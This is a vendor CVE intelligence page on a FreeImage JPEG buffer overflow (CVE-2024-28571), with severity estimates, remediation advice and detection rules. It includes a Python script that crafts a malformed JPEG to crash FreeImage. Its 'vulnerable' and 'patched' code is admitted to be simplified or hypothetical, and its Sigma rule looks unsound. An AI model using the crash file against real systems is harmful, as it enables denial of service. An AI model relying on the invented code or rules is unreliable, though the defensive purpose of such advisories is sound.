☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-28571

CVE-2024-28571 Buffer Overflow in Freeimage
📅 PUBLISHED: 2024-03-20 00:00 UTC 🔄 UPDATED: 2026-09-23 20:29 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-28571 is a buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 (r1909). The flaw resides in the fill_input_buffer() function, which is invoked during the processing of JPEG images. A local attacker can exploit this vulnerability to cause a denial of service (DoS) by providing a specially crafted JPEG file. The vulnerability is classified as a classic buffer overflow (CWE-120), where improper bounds checking allows data to be written beyond the allocated buffer, potentially leading to memory corruption and application crash.

This vulnerability is particularly concerning for applications that rely on FreeImage for image parsing, such as media servers, image editors, and web applications. The lack of a known patch or official fix from the vendor increases the risk, as affected systems remain exposed until a workaround or update is implemented.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FreeImage is a widely used library in the open-source ecosystem, integrated into numerous projects across multiple languages and platforms. While this specific CVE does not directly affect NPM, PyPI, Go, or Ruby packages, any application that bundles or dynamically links FreeImage is at risk. Developers should audit their dependencies for FreeImage usage and consider replacing it with a maintained alternative or applying mitigations until a patch is released.

CVSS Breakdown & Threat Level

The CVSS score for this vulnerability is currently listed as 0.0, indicating that no official CVSS vector has been assigned. However, based on the nature of the vulnerability (buffer overflow leading to DoS), a reasonable assessment would be:

  • Attack Vector (AV): Local (L) – The attacker must have local access to the system.
  • Attack Complexity (AC): Low (L) – The exploit requires a crafted JPEG file, which is straightforward to create.
  • Privileges Required (PR): None (N) – No special privileges are needed to trigger the vulnerability.
  • User Interaction (UI): Required (R) – The victim must open or process the malicious JPEG file.
  • Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – The vulnerability can cause a complete denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires local access and user interaction, but the impact on availability is significant.

Deep Dive & Mechanics

The vulnerability is located in the fill_input_buffer() function within FreeImage's JPEG handling code. This function is part of the library's integration with the Independent JPEG Group (IJG) library, which is used to decode JPEG images. The fill_input_buffer() function is responsible for filling the input buffer with data from the source (e.g., a file or memory stream) when the JPEG decoder requests more data.

The root cause is a lack of proper bounds checking when copying data into the buffer. When processing a specially crafted JPEG file, the function may attempt to write more data than the buffer can hold, leading to a buffer overflow. This overflow can corrupt adjacent memory, causing the application to crash or behave unpredictably.

The vulnerability is triggered during the JPEG decoding process, specifically when the decoder encounters a marker or segment that requires additional data. The fill_input_buffer() function is called repeatedly, and if the input data is malformed, it can cause an out-of-bounds write.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code path is identified in FreeImage 3.19.0 (r1909). The fill_input_buffer() function is typically implemented in the Source/FreeImage/PluginJPEG.cpp file.

Vulnerable Code (FreeImage 3.19.0):

// Simplified representation of the vulnerable function
boolean fill_input_buffer(j_decompress_ptr cinfo) {
    // ... setup ...
    // No bounds check on the amount of data read
    int bytes_read = read_data(source, buffer, buffer_size);
    // ... process ...
    return TRUE;
}

Patched Code (Hypothetical):

// Patched version with bounds checking
boolean fill_input_buffer(j_decompress_ptr cinfo) {
    // ... setup ...
    int bytes_read = read_data(source, buffer, buffer_size);
    if (bytes_read > buffer_size) {
        // Handle error: truncate or abort
        bytes_read = buffer_size;
    }
    // ... process ...
    return TRUE;
}

The patch would involve adding a check to ensure that the number of bytes read does not exceed the buffer size, preventing the overflow.

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service by crafting a malicious JPEG file that exploits the buffer overflow in fill_input_buffer().

Lab Setup:

  1. Environment: Ubuntu 22.04 LTS with FreeImage 3.19.0 installed.
  2. Tools: Python 3, a hex editor, and a test application that uses FreeImage (e.g., a simple image viewer).

Exploitation Steps:

  1. Craft the Malicious JPEG: Create a JPEG file with a malformed marker that causes fill_input_buffer() to read excessive data. For example, modify the SOF (Start of Frame) marker to specify an unusually large scan data size.
  2. Deliver the File: Place the malicious JPEG on the target system (e.g., via email, USB, or network share).
  3. Trigger the Vulnerability: Open the file with an application that uses FreeImage (e.g., display or a custom tool).
  4. Observe the Crash: The application should crash due to a segmentation fault or memory corruption.

Example Python Script to Generate Malicious JPEG:

# craft_malicious_jpeg.py
import struct

def create_malicious_jpeg(filename):
    # Minimal JPEG structure with a malformed marker
    # SOI marker
    data = b'\xff\xd8'
    # APP0 marker (JFIF)
    data += b'\xff\xe0' + struct.pack('>H', 16) + b'JFIF\x00' + b'\x01\x01\x00\x00\x01\x00\x01\x00\x00'
    # DQT marker (quantization table)
    data += b'\xff\xdb' + struct.pack('>H', 67) + b'\x00' + bytes([0] * 64)
    # SOF0 marker with oversized height/width to trigger overflow
    data += b'\xff\xc0' + struct.pack('>H', 17) + b'\x08' + struct.pack('>H', 0xFFFF) + struct.pack('>H', 0xFFFF) + b'\x03\x01\x11\x00'
    # SOS marker
    data += b'\xff\xda' + struct.pack('>H', 8) + b'\x01\x01\x00\x00\x3f\x00'
    # Fill with dummy data
    data += b'A' * 1000
    # EOI marker
    data += b'\xff\xd9'
    
    with open(filename, 'wb') as f:
        f.write(data)

if __name__ == '__main__':
    create_malicious_jpeg('exploit.jpg')

Blue Team

Objective: Detect and prevent exploitation of CVE-2024-28571.

Detection:

  1. Monitor for Crashes: Use system logs (e.g., /var/log/syslog) to detect application crashes related to FreeImage.
  2. File Scanning: Implement file scanning for JPEG files with anomalous markers or oversized fields.
  3. Behavioral Analysis: Monitor for unusual memory access patterns in applications that use FreeImage.

Prevention:

  1. Input Validation: Validate JPEG files before processing, rejecting those with malformed markers.
  2. Sandboxing: Run applications that use FreeImage in a sandboxed environment to limit the impact of a crash.
  3. Alternative Libraries: Replace FreeImage with a maintained alternative (e.g., libvips, ImageMagick) until a patch is available.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – actual hash will vary based on crafted file)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
  • File Names: exploit.jpg, malicious.jpeg, payload.jpg
  • Process Behavior: Application crash with segmentation fault in fill_input_buffer().
  • Log Entries: Segfault or SIGSEGV in logs associated with FreeImage processes.
  • Network Traffic: None (local vulnerability).

Detection Engineering

YARA Rule

rule CVE_2024_28571_FreeImage_BOF {
    meta:
        description = "Detects malicious JPEG files targeting CVE-2024-28571"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28571"
    strings:
        $jfif = { FF E0 ?? ?? 4A 46 49 46 00 }
        $sof0 = { FF C0 ?? ?? 08 }
        $large_dim = { FF C0 ?? ?? 08 FF FF FF FF }
    condition:
        $jfif and $sof0 and #large_dim > 0
}

Sigma Rule

title: CVE-2024-28571 FreeImage Buffer Overflow Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes related to FreeImage buffer overflow
author: Valters IT
date: 2024/01/01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/freeimage'
        CommandLine|contains: 'Segfault'
    condition: selection
falsepositives:
    - Legitimate crashes due to other reasons
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28571 FreeImage JPEG Buffer Overflow Attempt"; flow:to_client; file.data; content:"|FF C0|"; offset:0; depth:2; content:"|FF FF|"; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable JPEG Processing: If possible, disable JPEG processing in applications that use FreeImage until a patch is available.
  2. Input Validation: Implement strict validation of JPEG files before processing, rejecting files with anomalous markers or oversized dimensions.
  3. Sandboxing: Run FreeImage-dependent applications in a sandboxed environment to limit the impact of a crash.

Long-Term Solutions:

  1. Patch Application: Monitor the FreeImage project for an official patch and apply it as soon as it is released.
  2. Library Replacement: Consider migrating to a maintained alternative library (e.g., libvips, ImageMagick, or stb_image).
  3. Code Audit: Conduct a security audit of any custom code that integrates with FreeImage to identify similar vulnerabilities.

Workarounds:

  • Use a Web Application Firewall (WAF) to filter out malicious JPEG files if the vulnerability is exposed via web uploads.
  • Implement file size limits and content-type validation to reduce the attack surface.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-28571/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.